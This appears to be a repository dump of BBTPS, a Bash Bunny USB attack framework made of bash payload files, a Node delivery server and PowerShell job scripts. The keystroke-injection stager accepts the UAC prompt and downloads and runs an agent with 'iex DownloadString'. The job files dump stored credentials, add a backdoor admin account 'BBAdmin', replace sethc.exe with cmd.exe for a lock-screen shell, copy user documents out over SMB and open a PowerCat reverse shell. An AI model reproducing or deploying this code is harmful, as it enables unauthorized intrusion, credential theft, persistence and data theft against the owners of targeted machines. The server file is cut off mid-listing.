├── .gitignore ├── jobselect.txt ├── templates ├── joblist_template.json └── payload_config_template.txt ├── package.json ├── jobs ├── default │ ├── joblist.json │ └── testjob1.ps1 └── totalp0wn │ ├── joblist2.json │ ├── joblist1.json │ ├── joblist3.json │ ├── Invoke-AddAdminUser.ps1 │ ├── Invoke-AdminJobs.ps1 │ ├── Invoke-AdminJobsTP.ps1 │ ├── Invoke-SethcBD.ps1 │ ├── Invoke-SMBExfil.ps1 │ ├── Get-VaultCredential.ps1 │ ├── Invoke-PowerDump.ps1 │ └── Connect-PowerCat2.ps1 ├── testsmb.sh ├── payloadmods ├── singleattack.txt ├── netinitial.txt ├── dualattack.txt └── qinitial.txt ├── configs ├── bbtpsdefault.txt └── totalp_config.txt ├── vscode_launcher └── launch.json ├── helpers.js ├── payload.txt ├── utilities └── Send-NewJob.ps1 ├── payserver.js ├── README.MD └── agent └── bbAgent1.ps1 /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .vscode 3 | tmploot/* 4 | -------------------------------------------------------------------------------- /jobselect.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Job config selector file. Use this file to export the base config for your 4 | # batch job. Config file template is located in templates/payload_config_template.txt 5 | # Example configs are included in the configs folder of this project. 6 | 7 | # Default test config payload 8 | #source $PAYLOADFOLDER/configs/bbtpsdefault.txt 9 | 10 | # TotalP0wn Payload config 11 | source $PAYLOADFOLDER/configs/totalp_config.txt 12 | -------------------------------------------------------------------------------- /templates/joblist_template.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "jobName" :"Name of job, used for file name.", 3 | "command" :"Powershell function and parameters to execute your code.", 4 | "runType" :"Run inside agent as 'thread' or outside agent as 'process'. Accepts string 'thread' or 'process'" 5 | "scriptName":"Name of script file in jobs folder" 6 | }, 7 | { 8 | "jobName" :"", 9 | "command" :"", 10 | "runType" :""' 11 | "scriptName":"" 12 | }] -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "bbtps", 3 | "version": "1.6.0", 4 | "description": "BashBunny BBTPS MultiServe Server. Serves multiple payloads from bash bunny.", 5 | "main": "payserver.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1" 8 | }, 9 | "author": "PoSHMagiC0de", 10 | "license": "MIT", 11 | "dependencies": { 12 | "body-parser": "^1.17.1", 13 | "express": "^4.15.2" 14 | }, 15 | "repository": { 16 | "type": "git", 17 | "url": "git://github.com/PoSHMagiC0de/BBTPS.git" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /jobs/default/joblist.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "jobName" :"testjob1", 3 | "command" :"get-selecteddir -Path 'c:\\'", 4 | "runType" :"thread", 5 | "scriptName":"testjob1.ps1" 6 | }, 7 | { 8 | "jobName" :"testjob2", 9 | "command" :"get-selecteddir -Path $env:userprofile\\Documents", 10 | "runType" :"thread", 11 | "scriptName":"testjob1.ps1" 12 | }, 13 | { 14 | "jobName" :"testjob3", 15 | "command" :"get-selecteddir -Path $env:userprofile\\Documents | set-content c:\\temp\\test.txt", 16 | "runType" :"process", 17 | "scriptName":"testjob1.ps1" 18 | }] -------------------------------------------------------------------------------- /testsmb.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Test bash shell to initialize and launch smbserver to tmp loot folders 3 | # For exfiltration tests. Must be ran before running payloads to for 4 | # exfiltration to work. 5 | # Requires Impacket on your machine. 6 | 7 | if [ ! -d ./tmploot ]; then 8 | mkdir ./tmploot; 9 | mkdir ./TestMachine; 10 | fi 11 | 12 | if [ ! -d ./tmploot/TestMachine ]; then 13 | mkdir ./tmploot/TestMachine; 14 | fi 15 | 16 | sudo python /usr/share/doc/python-impacket/examples/smbserver.py -c 'TestServer' 'tmploot' $PWD/tmploot/ | tee -a $PWD/tmploot/TestMachine/smb.log 17 | -------------------------------------------------------------------------------- /jobs/totalp0wn/joblist2.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "jobName" :"VaultCredential", 3 | "command" :"Get-VaultCredential | out-string", 4 | "runType" :"thread", 5 | "scriptName":"Get-VaultCredential.ps1" 6 | }, 7 | { 8 | "jobName" :"AdminJobs", 9 | "command" :"Invoke-AdminJobs", 10 | "runType" :"thread", 11 | "scriptName":"Invoke-AdminJobs.ps1" 12 | }, 13 | { 14 | "jobName" :"SMBExfil", 15 | "command" :"Invoke-SMBExfil \"$env:userprofile\\Documents\" $BB_SMBLOOT @(\"*.txt\",\"*.docx\",\"*.pdf\",\"*.jpg\",\"*.gif\",\"*.xlsx\")", 16 | "runType" :"thread", 17 | "scriptName":"Invoke-SMBExfil.ps1" 18 | }] -------------------------------------------------------------------------------- /payloadmods/singleattack.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #### INITIALIZE STAGE #### 4 | LED SETUP 5 | #### HID STAGE #### 6 | ATTACKMODE HID 7 | 8 | # HID Script 9 | source $PAYLOADFOLDER/payloadmods/qinitial.txt 10 | 11 | #### ETHERNET STAGE #### 12 | ATTACKMODE RNDIS_ETHERNET RNDIS_SPEED_10000 13 | LED SETUP 14 | 15 | # Get target hostname 16 | while [ -z $TARGET_HOSTNAME ]; do 17 | GET TARGET_HOSTNAME 18 | sleep 1 19 | done 20 | 21 | # Create loot dir from machine name inside BBTPS loot folder 22 | export LOOTDIR=$ROOTLOOTDIR/$TARGET_HOSTNAME 23 | if [ ! -d $LOOTDIR ]; then 24 | mkdir $LOOTDIR 25 | fi 26 | 27 | # Network initialization and deploy 28 | source $PAYLOADFOLDER/payloadmods/netinitial.txt 29 | -------------------------------------------------------------------------------- /payloadmods/netinitial.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Addition exports to hand to payserver for config pull for helper variables for payloads. 3 | 4 | export BB_SMBROOT="\\\\$SERVERIP\\$ROOTFOLDERNAME" 5 | export BB_SMBLOOT="\\\\$SERVERIP\\$ROOTFOLDERNAME\\$TARGET_HOSTNAME" 6 | 7 | 8 | ## SMBServer for any file exfiltration, point them to \\bashbunnyip\bbtps. 9 | $(python /tools/impacket/examples/smbserver.py -comment "bbserver" "$ROOTFOLDERNAME" $ROOTLOOTDIR/ >> $LOOTDIR/smblogs.txt) & 10 | /usr/bin/nodejs $PAYLOADFOLDER/payserver.js 11 | export HADERROR=$? 12 | if [ ! $HADERROR -eq 0 ]; then 13 | LED FAIL 14 | fi 15 | 16 | # Kill smb server when done. 17 | kill $( ps -a | grep python | awk '{print $1}' ) 18 | exit 19 | -------------------------------------------------------------------------------- /jobs/totalp0wn/joblist1.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "jobName" :"Get-VaultCredential", 3 | "command" :"Get-VaultCredential | out-string", 4 | "runType" :"thread", 5 | "scriptName":"Get-VaultCredential.ps1" 6 | }, 7 | { 8 | "jobName" :"Mimidogz", 9 | "command" :"Invoke-Mimidogz -DumpCred | out-string", 10 | "runType" :"thread", 11 | "scriptName":"Invoke-Mimidogz.ps1" 12 | }, 13 | { 14 | "jobName" :"PowerDump", 15 | "command" :"Invoke-PowerDump | out-string", 16 | "runType" :"thread", 17 | "scriptName":"Invoke-PowerDump.ps1" 18 | }, 19 | { 20 | "jobName" :"AddAdminUser", 21 | "command" :"Invoke-AddAdminUser -UserName \"BBAdmin\" -Password \"BBPassword1!\" | Out-String", 22 | "runType" :"thread", 23 | "scriptName":"Invoke-AddAdminUser.ps1" 24 | }] 25 | -------------------------------------------------------------------------------- /jobs/totalp0wn/joblist3.json: -------------------------------------------------------------------------------- 1 | [{ 2 | "jobName" :"VaultCredential", 3 | "command" :"Get-VaultCredential | out-string", 4 | "runType" :"thread", 5 | "scriptName":"Get-VaultCredential.ps1" 6 | }, 7 | { 8 | "jobName" :"AdminJobsTP", 9 | "command" :"Invoke-AdminJobs", 10 | "runType" :"thread", 11 | "scriptName":"Invoke-AdminJobsTP.ps1" 12 | }, 13 | { 14 | "jobName" :"PowerCat", 15 | "command" :"Connect-Powercat -Mode TCP -RemoteIP \"10.203.0.68\" -Port 4444 -Execute", 16 | "runType" :"process", 17 | "scriptName":"Connect-PowerCat2.ps1" 18 | }, 19 | { 20 | "jobName" :"SMBExfil", 21 | "command" :"Invoke-SMBExfil \"$env:userprofile\\Documents\" $BB_SMBLOOT @(\"*.docx\",\"*.pdf\",\"*.jpg\",\"*.gif\",\"*.xlsx\")", 22 | "runType" :"thread", 23 | "scriptName":"Invoke-SMBExfil.ps1" 24 | }] -------------------------------------------------------------------------------- /payloadmods/dualattack.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | #### INITIALIZE STAGE #### 5 | LED SETUP 6 | 7 | # DO NOT USE, WILL BE IMPLEMENTED IN FUTURE UPDATE 8 | # export SERVER_PORT=1337 9 | 10 | #### SET HID AND NETWORK ATTACKMODE #### 11 | ATTACKMODE HID RNDIS_ETHERNET RNDIS_SPEED_10000 12 | # sleep 5 13 | 14 | # Get target machine name and make loot folder for it. 15 | while [ -z $TARGET_HOSTNAME ]; do 16 | GET TARGET_HOSTNAME; 17 | sleep 1; 18 | done 19 | 20 | # Set Loot dir to machine name off of root loot dir for BBTPS 21 | export LOOTDIR="$ROOTLOOTDIR/$TARGET_HOSTNAME" 22 | if [ ! -d $LOOTDIR ]; then 23 | mkdir $LOOTDIR; 24 | fi 25 | 26 | GET HOST_IP 27 | export SERVERIP=$HOST_IP 28 | 29 | # HID Script 30 | source $PAYLOADFOLDER/payloadmods/qinitial.txt 31 | 32 | #Network Initialization and deploy 33 | source $PAYLOADFOLDER/payloadmods/netinitial.txt 34 | -------------------------------------------------------------------------------- /configs/bbtpsdefault.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #Default configuration file for BBTPS. 4 | #You can use this file as a template, do not leave any settings out or 5 | #You will get errors. 6 | 7 | # Bunny root loot folder name. 8 | export ROOTFOLDERNAME="bbtps" 9 | 10 | # Folder where scripts live. 11 | export JOBFOLDER="$PAYLOADFOLDER/jobs/default" 12 | 13 | # Job runlist json file. 14 | export JOBLIST="$JOBFOLDER/default/joblist.json" 15 | 16 | # Do you want the stager to run as admin, 1 for yes, 0 for no. 17 | export GETADMIN=1 18 | 19 | # ATTACKMODE TYPES 20 | # 0 = SINGLE/ 1 = DUAL 21 | export ATMODE=0 22 | 23 | # Enable/Disable debug. 1 for on, 0 for off. 24 | export DEBUG=1 25 | 26 | # First Quack Delay, after running initial command from run prompt. 27 | export Q_DELAY1=8000 28 | 29 | # Second Quack Delay, if getting admin then this is ran after selecting Yes. 30 | export Q_DELAY2=8000 -------------------------------------------------------------------------------- /templates/payload_config_template.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #Template of configuration file for BBTPS. 4 | #You can use this file as a template, do not leave any settings out or 5 | #You will get errors. 6 | 7 | # Bunny root loot folder name. 8 | export ROOTFOLDERNAME="bbtps" 9 | 10 | # Folder where scripts live. 11 | export JOBFOLDER="$PAYLOADFOLDER/jobs/" 12 | 13 | # Job runlist json file. 14 | export JOBLIST="$JOBFOLDER/ -1){ 11 | jobsObj[i].scriptName = jbFldr + jobsObj[i].scriptName; 12 | returnJob.push(jobsObj[i]) 13 | }else{ 14 | console.log("removing job, script file invalid"); 15 | } 16 | } 17 | }else{ 18 | if(jfs.existsSync(jbFldr + jobsObj.scriptName) && runType.indexOf(jobsObj.runType) > -1){ 19 | jobsObj.scriptName = jbFldr + jobsObj.scriptName; 20 | var returnJob = jobsObj; 21 | }else{ 22 | var returnJob = null; 23 | console.log('removing job, script file invalid'); 24 | } 25 | } 26 | return returnJob; 27 | } 28 | 29 | exports.jobParser = jobsParser; -------------------------------------------------------------------------------- /payloadmods/qinitial.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Initial duck commands to get prompt. 3 | if [ -z $Q_DELAY1 ]; then 4 | export Q_DELAY1=8000 5 | fi 6 | if [ -z $Q_DELAY2 ]; then 7 | export Q_DELAY2=8000 8 | fi 9 | 10 | LED ATTACK 11 | if [ $GETADMIN -eq 1 ]; then 12 | RUN WIN powershell -C "start-process cmd -verb runas" 13 | Q DELAY $Q_DELAY1 14 | Q ALT Y 15 | Q DELAY $Q_DELAY2 16 | Q ENTER 17 | else 18 | RUN WIN cmd 19 | Q DELAY $Q_DELAY1 20 | Q ENTER 21 | fi 22 | 23 | # If in debug mode then will run Powershell visible in verbose mode else it will be hidden. 24 | if [ $DEBUG -eq 1 ]; then 25 | Q STRING "powershell -NonI -Nop -C \"\$p='$SERVERIP';\$ic=1;\$jr=0;while(\$ic -le 20){if((test-connection \$p -count 1 -quiet) -eq \$true){try{iex (new-object net.webclient).DownloadString('http://'+\$p+':1337/getAgent');\$jr=1;}catch{\$ic++}if(\$jr){Invoke-bbAgent \$p 1337 -verbose;exit}}else{\$ic++}sleep -s 2}\"" 26 | Q ENTER 27 | else 28 | Q STRING "powershell -NonI -W Hidden -Nop -C \"\$p='$SERVERIP';\$ic=1;\$jr=0;while(\$ic -le 20){if((test-connection \$p -count 1 -quiet) -eq \$true){try{iex (new-object net.webclient).DownloadString('http://'+\$p+':1337/getAgent');\$jr=1;}catch{\$ic++}if(\$jr){Invoke-bbAgent \$p 1337;exit}}else{\$ic++}sleep -s 2}\"" 29 | Q ENTER 30 | fi 31 | -------------------------------------------------------------------------------- /jobs/totalp0wn/Invoke-AddAdminUser.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-AddAdminUser 2 | { 3 | [CmdletBinding()] 4 | Param( 5 | [Parameter(Mandatory=$true, Position=0)] 6 | [string]$UserName, 7 | 8 | [Parameter(Mandatory=$true, Position=1)] 9 | [string]$Password 10 | ) 11 | try { 12 | $secPassword = ConvertTo-SecureString -String $Password -AsPlainText -Force 13 | $ptrStr = [Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secPassword)) 14 | $computer = $env:COMPUTERNAME 15 | $ObjOU = [ADSI]"WinNT://$computer" 16 | $objUser = $objOU.Create("User", $UserName) 17 | $objUser.setpassword($ptrStr) 18 | $objUser.put("description","New LocalAdmin") 19 | $objUser.UserFlags = 64 + 65536 # ADS_UF_PASSWD_CANT_CHANGE + ADS_UF_DONT_EXPIRE_PASSWD 20 | $objUser.SetInfo() 21 | $objGroup = [ADSI]"WinNT://$computer/Administrators,group" 22 | $objGroup.add("WinNT://$computer/$UserName,user") 23 | $objGroup.SetInfo() 24 | $objGroup = [ADSI]"WinNT://$computer/Users,group" 25 | $objGroup.add("WinNT://$computer/$UserName,user") 26 | $objGroup.SetInfo() 27 | return ("User '{0}' with password '{1}' successfully added as local admin." -f ($UserName, $Password)) 28 | } 29 | catch { 30 | return ("There was an error.`r`n{0}" -f ($_.Exception.Message)) 31 | } 32 | 33 | } -------------------------------------------------------------------------------- /jobs/totalp0wn/Invoke-AdminJobs.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-AdminJobs 2 | { 3 | $jobslist = @(@{ 4 | jobName = "Mimidogz" 5 | command = "Invoke-Mimidogz -DumpCred | out-string" 6 | runType = "thread" 7 | scriptName = "Invoke-Mimidogz.ps1" 8 | }, 9 | @{ 10 | jobName = "PowerDump" 11 | command = "Invoke-PowerDump | out-string" 12 | runType = "thread" 13 | scriptName = "Invoke-PowerDump.ps1" 14 | }, 15 | @{ 16 | jobName = "AddAdminUser" 17 | command = "Invoke-AddAdminUser -UserName `"BBAdmin`" -Password `"BBPassword1!`" | Out-String" 18 | runType = "thread" 19 | scriptName = "Invoke-AddAdminUser.ps1" 20 | }) 21 | 22 | function Get-isHighIntegrity 23 | { 24 | $isAdmin = $false 25 | if(([Environment]::UserName).ToLower() -eq 'system') { 26 | $isAdmin = $true 27 | }else{ 28 | # otherwise check the token groups 29 | $isadmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') 30 | } 31 | return $isAdmin 32 | } 33 | 34 | if( -not (Get-isHighIntegrity)) 35 | { 36 | return "BashBunny is not running UACBypassed." 37 | } 38 | 39 | foreach($job in $jobslist) 40 | { 41 | if(Send-NewJob @job) 42 | { 43 | Write-Output ("Sent Job: {0} `r`n" -f ($job.jobName)) 44 | } 45 | else 46 | { 47 | Write-Output("Sent Job: {0} failed. `r`n" -f ($job.jobName)) 48 | } 49 | } 50 | } -------------------------------------------------------------------------------- /payload.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Title: BashBunny Total P0wn System 3 | # Description: Multipayload handling Tool 4 | # Author: PoSHMagiC0de 5 | # Version: 1.6.0 6 | # Category: Tools 7 | # Target: Windows 7+, Powershell 2.0+ 8 | # Attackmodes: HID, Ethernet, or both at same time 9 | # BashBunny Firmware: 1.3 10 | # 11 | # LED DESCRIPTIONS: 12 | # Solid Magenta Attackmode initialization for both HID and Ethernet 13 | # Yellow Single Blink Start HID Quack Attack 14 | # Cyan Inverted Blink Node Server Initializing 15 | # Yellow 2x Blink Agent being delivered 16 | # Yellow 3x Blink First Job Being Delivered to Agent 17 | # Green Agent Finished Successfully 18 | # Red Server Errored Out 19 | # 20 | # Server port is at 1337 21 | 22 | # DO NOT MODIFY ANY CODE IN THIS FILE, USE JOBSELECT.TXT FILE TO CONFIGURE. 23 | REQUIRETOOL impacket 24 | GET SWITCH_POSITION 25 | # Setup for payload directory, you can set for whatever you want. 26 | export PAYLOADFOLDER="/root/udisk/payloads/$SWITCH_POSITION" 27 | # BashBunny IP. IP here will be overwritten in dualattack mode. 28 | export SERVERIP="172.16.64.1" 29 | # Config selector file to select configuration for attack mode and types. 30 | source $PAYLOADFOLDER/jobselect.txt 31 | 32 | 33 | if [ -z $ROOTFOLDERNAME]; then 34 | export ROOTFOLDERNAME="bbtps" 35 | fi 36 | 37 | # Root path to loot folder. 38 | export ROOTLOOTDIR="/root/udisk/loot/$ROOTFOLDERNAME" 39 | 40 | 41 | # Create Root Loot Directory 42 | if [ ! -d $ROOTLOOTDIR ]; then 43 | mkdir $ROOTLOOTDIR 44 | fi 45 | 46 | # Set Attack Mode Type 47 | if [ $ATMODE -eq 0 ]; then 48 | source $PAYLOADFOLDER/payloadmods/singleattack.txt 49 | else 50 | source $PAYLOADFOLDER/payloadmods/dualattack.txt 51 | fi 52 | -------------------------------------------------------------------------------- /jobs/totalp0wn/Invoke-AdminJobsTP.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-AdminJobs 2 | { 3 | $jobslist = @(@{ 4 | jobName = "Mimidogz" 5 | command = "Invoke-Mimidogz -DumpCred | out-string" 6 | runType = "thread" 7 | scriptName = "Invoke-Mimidogz.ps1" 8 | }, 9 | @{ 10 | jobName = "PowerDump" 11 | command = "Invoke-PowerDump | out-string" 12 | runType = "thread" 13 | scriptName = "Invoke-PowerDump.ps1" 14 | }, 15 | @{ 16 | jobName = "AddAdminUser" 17 | command = "Invoke-AddAdminUser -UserName `"BBAdmin`" -Password `"BBPassword1!`" | Out-String" 18 | runType = "thread" 19 | scriptName = "Invoke-AddAdminUser.ps1" 20 | }, 21 | @{ 22 | jobName = "SethcBD" 23 | command = "Invoke-SethcBD" 24 | runType = "thread" 25 | scriptName = "Invoke-SethcBD.ps1" 26 | }) 27 | 28 | function Get-isHighIntegrity 29 | { 30 | $isAdmin = $false 31 | if(([Environment]::UserName).ToLower() -eq 'system') { 32 | $isAdmin = $true 33 | }else{ 34 | # otherwise check the token groups 35 | $isadmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') 36 | } 37 | return $isAdmin 38 | } 39 | 40 | if( -not (Get-isHighIntegrity)) 41 | { 42 | return "BashBunny is not running UACBypassed." 43 | } 44 | 45 | foreach($job in $jobslist) 46 | { 47 | if(Send-NewJob @job) 48 | { 49 | Write-Output ("Sent Job: {0} `r`n" -f ($job.jobName)) 50 | } 51 | else 52 | { 53 | Write-Output("Sent Job: {0} failed. `r`n" -f ($job.jobName)) 54 | } 55 | 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /utilities/Send-NewJob.ps1: -------------------------------------------------------------------------------- 1 | function Send-NewJob 2 | { 3 | [CmdletBinding()] 4 | Param( 5 | [Parameter(Mandatory=$true, Position=0)] 6 | [string]$jobName, 7 | 8 | [Parameter(Mandatory=$true, Position=1)] 9 | [string]$command, 10 | 11 | [Parameter(Mandatory=$true, Position=2)] 12 | [ValidateSet("process", "thread")] 13 | [string]$runType, 14 | 15 | [Parameter(Mandatory=$true, Position=3)] 16 | [string]$scriptName, 17 | 18 | [Parameter(Mandatory=$false, Position=4)] 19 | [string]$addjoburl = $BB_ADDJOBURL 20 | ) 21 | 22 | add-type -assembly system.web.extensions 23 | $webc = New-Object System.Net.WebClient 24 | 25 | function ConvertTo-Json20 26 | { 27 | [CmdletBinding()] 28 | Param( 29 | [Parameter(Mandatory=$true)] 30 | [psobject]$item 31 | ) 32 | Write-Verbose "Converting object to JSON." 33 | $ps_js=new-object system.web.script.serialization.javascriptSerializer 34 | return $ps_js.Serialize($item) 35 | } 36 | 37 | function Send-BBData 38 | { 39 | [CmdletBinding()] 40 | Param( 41 | [Parameter(Mandatory=$true, Position=0)] 42 | [string]$bbURL, 43 | [Parameter(Mandatory=$true, Position=1)] 44 | [hashtable]$jsonData 45 | ) 46 | 47 | $jsonJob = ConvertTo-Json20 -item $jsonData 48 | $webc.Headers[[System.Net.HttpRequestHeader]::ContentType] = "application/json" 49 | try 50 | { 51 | $null = $webc.UploadString($bbURL, "POST", $jsonJob) 52 | return $true 53 | } 54 | catch 55 | { 56 | return $false 57 | } 58 | } 59 | 60 | #Main Part 61 | $jobData = @{ 62 | jobName = $jobName 63 | command = $command 64 | runType = $runType 65 | scriptName = $scriptName 66 | } 67 | 68 | return (Send-BBData $addjoburl $jobData) 69 | } -------------------------------------------------------------------------------- /jobs/totalp0wn/Invoke-SethcBD.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Adds cmd shell backdoor to machine. 4 | .DESCRIPTION 5 | Replaces sethc.exe with cmd.exe so when you initiate the handicap function by hitting shift 5 times 6 | or hitting the handicap button on the logon screen will give you a full priviledge cmd shell. 7 | .EXAMPLE 8 | Invoke-HandicapBackdoor 9 | #> 10 | function Invoke-SethcBD 11 | { 12 | [CmdletBinding()] 13 | Param() 14 | 15 | function Get-isHighIntegrity 16 | { 17 | $isAdmin = $false 18 | #If the process is running as System then we are in a high integrity process. 19 | if(([Environment]::UserName).ToLower() -eq 'system') { 20 | $isAdmin = $true 21 | }else{ 22 | # otherwise check the token groups 23 | $isadmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator') 24 | } 25 | return $isAdmin 26 | } 27 | 28 | if (-not (Get-isHighIntegrity)){ 29 | return "Module must be ran UAC Bypassed." 30 | } 31 | 32 | try { 33 | $sethcFile = "C:\Windows\System32\sethc.exe" 34 | $cmdFile = "C:\Windows\System32\cmd.exe" 35 | $sethcBak = "C:\Windows\System32\sethc.bak" 36 | $takeown = "c:\windows\system32\takeown.exe" 37 | $icacls = "c:\windows\system32\icacls.exe" 38 | 39 | if(Test-Path -Path $sethcBack) 40 | { 41 | return "Backup of sethc.exe detected, module might have already been run." 42 | } 43 | 44 | $null = IEX "$takeown /A /F $sethcFile" 45 | $null = IEX "$icacls $sethcFile /grant Administrators:F" 46 | 47 | Rename-Item -Path $sethcFile -NewName $sethcBak 48 | Copy-Item -Path $cmdFile -Destination $sethcFile 49 | return "Successfully installed handicap backdoor" 50 | } 51 | catch { 52 | return ("There was an error adding backdoor:`r`n{0}" -f ($_.Exception.Message)) 53 | } 54 | 55 | 56 | } 57 | -------------------------------------------------------------------------------- /configs/totalp_config.txt: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | #Default configuration file for BBTPS. 4 | #You can use this file as a template, do not leave any settings out or 5 | #You will get errors. 6 | 7 | # Bunny root loot folder name. 8 | export ROOTFOLDERNAME="bbtps" 9 | 10 | # Folder where scripts live. 11 | export JOBFOLDER="$PAYLOADFOLDER/jobs/totalp0wn" 12 | ######################################################################### 13 | # BELOW UNCOMMENT ONE OF THE JOBLIST YOU WANT TO RUN FROM THE TOTAL P0WN GROUP. DESCRIPTIONS ARE LISTED ABOVE EACH. 14 | # Job runlist json file. 15 | 16 | # Joblist1 runs Get-VaultCredentials, Invoke-Mimidogz, Invoke-PowerDump and Invoke-AddAdminUser. 17 | # If not ran as admin then only VaultCredentials will return anything if anything present. 18 | #export JOBLIST="$JOBFOLDER/joblist1.json" 19 | 20 | # Joblist2 will always Get-VaultCredentials and Invoke-SMBExfil. It will run Invoke-AdminJobs to check for admin and if 21 | # it is running as UACbypassed Admin it will call back to the server to queue up to be delivered and ran: Mimidogz, PowerDump, 22 | # and AddAdminUser. 23 | export JOBLIST="$JOBFOLDER/joblist2.json" 24 | 25 | # Joblist3 is the signature Total P0wn job load. When ran as non-admin the following scripts will run: 26 | # VaultCredentials, Powercat (Powershell Netcat, requires another machine running Powercat or NCat), SMBExfil. 27 | # If ran as admin then the AddAdminJobsTP will test true to UACBypassed admin and queue up the following jobs: 28 | # Mimidogz, PowerDump, AddAdminUser and SethcBD (Sets a local backdoor for even locked machines when you hit SHIFT 29 | # 5 times will get a UACBypassed System level cmd prompt from logon screen and even lock screen.) 30 | #export JOBLIST="$JOBFOLDER/joblist3.json" 31 | 32 | ######################################################################### 33 | # Do you want the stager to run as admin, 1 for yes, 0 for no. 34 | export GETADMIN=1 35 | 36 | # ATTACKMODE TYPES 37 | # 0 = SINGLE/ 1 = DUAL 38 | export ATMODE=1 39 | 40 | # Enable/Disable debug. 1 for on, 0 for off. 41 | export DEBUG=0 42 | 43 | # First Quack Delay, after running initial command from run prompt. 44 | export Q_DELAY1=8000 45 | 46 | # Second Quack Delay, if getting admin then this is ran after selecting Yes. 47 | export Q_DELAY2=8000 -------------------------------------------------------------------------------- /jobs/totalp0wn/Invoke-SMBExfil.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-SMBExfil 2 | { 3 | <# 4 | .Synopsis 5 | Copies files and all subdirectories from source to location folder. 6 | .DESCRIPTION 7 | Name: Invoke-SMBExfil 8 | Author: PoshMagiC0de 9 | 10 | Copies files from the folder specified and all subfolders plus file types if added to the destination folder, keeping folder schema. 11 | .EXAMPLE 12 | Invoke-SMBExfil -targetfolder "$env:userprofile\Documents" -destUNC "\\192.168.1.4\foldershare\targetfolder" -filenames @("*.gif","*.jpg","*.docx","*.xlsx") 13 | 14 | #> 15 | 16 | [CmdletBinding()] 17 | Param( 18 | 19 | [Parameter(Mandatory=$true, Position=0)] 20 | [ValidateScript({Test-Path -Path (Resolve-Path $_) -PathType "Container"})] 21 | [string]$targetfolder, 22 | 23 | [Parameter(Mandatory=$true, Position=1)] 24 | [ValidateScript({Test-Path -Path $_})] 25 | [string]$destUNC, 26 | 27 | [Parameter(Mandatory=$false, Position=2)] 28 | [string[]]$filenames = @("*") 29 | ) 30 | 31 | $roottarget = (Resolve-Path $targetfolder).ToString() + "\" 32 | $rootdest = $destUNC + "\smbexfil\" 33 | $targetfiles = gci -Path ($roottarget + "*") -Include $filenames -Recurse -ErrorAction SilentlyContinue | Where {$_.PSIsContainer -eq $false} | 34 | foreach {new-object psobject -Property @{ 35 | source = $_.FullName 36 | destination = ($_.FullName -replace ($roottarget -replace "\\", "\\"), "$rootdest") 37 | extension = $_.Extension 38 | }} 39 | 40 | $targetfiles | foreach { 41 | if(-not (Test-Path (Split-Path $_.destination -Parent))) 42 | { 43 | $null = New-Item -Path (Split-Path $_.destination -Parent) -ItemType Directory 44 | } 45 | Copy-Item -Path ($_.source) -Destination ($_.destination) -Force -ErrorAction SilentlyContinue} 46 | 47 | $returnstring = "A total of {0} files were exfiltrated.`r`n" -f ($targetfiles.Count) 48 | $returnstring += "From those, the following filetypes or files from you list were pulled.`r`n`r`n" 49 | 50 | foreach($fileExt in $filenames) 51 | { 52 | $returnstring += "Type {0}: {1} files.`r`n" -f ($fileExt, ($targetfiles | where {$_.Extension -like $fileExt}).Count) 53 | } 54 | $targetfiles 55 | return $returnstring | Out-String 56 | } 57 | -------------------------------------------------------------------------------- /payserver.js: -------------------------------------------------------------------------------- 1 | //Initializes main server modules 2 | /* 3 | App Name: BBTPS Delivery Server 4 | Author: PoSHMagiC0de 5 | Description: 6 | Payload deliver servicer for BashBunny to handle delivery if 7 | Agent, payloads and reception of textual data. 8 | */ 9 | 10 | var Debug = process.env["JSDEBUG"] || false; 11 | var prc = require('child_process'); 12 | prc.exec('LED SPECIAL1').unref(); 13 | var fs = require('fs'); 14 | var zlib = require('zlib'); 15 | var express = require('express'); 16 | var bodyParser = require('body-parser'); 17 | var app = express(); 18 | var port = 1337; 19 | var lootdir = process.env['LOOTDIR'] || __dirname + '/tmploot'; 20 | var jobsfolder = process.env['JOBFOLDER'] || __dirname + '/jobs/default'; 21 | var agentfile = __dirname + '/agent/bbAgent1.ps1'; 22 | var joblist = require(process.env['JOBLIST'] || (jobsfolder + '/joblist.json')); 23 | 24 | //Initialize config variables for agent to pull 25 | var SERVERIP = process.env["SERVERIP"]; 26 | var TARGET_HOSTNAME = process.env["TARGET_HOSTNAME"] || 'TestMachine'; 27 | var BB_SMBROOT = process.env["BB_SMBROOT"] || '\\\\' + SERVERIP + '\\tmploot'; 28 | var BB_SMBLOOT = process.env["BB_SMBLOOT"] || BB_SMBROOT + '\\' + TARGET_HOSTNAME; 29 | 30 | app.use(bodyParser.json()); 31 | app.use(bodyParser.urlencoded({extended:false})); 32 | 33 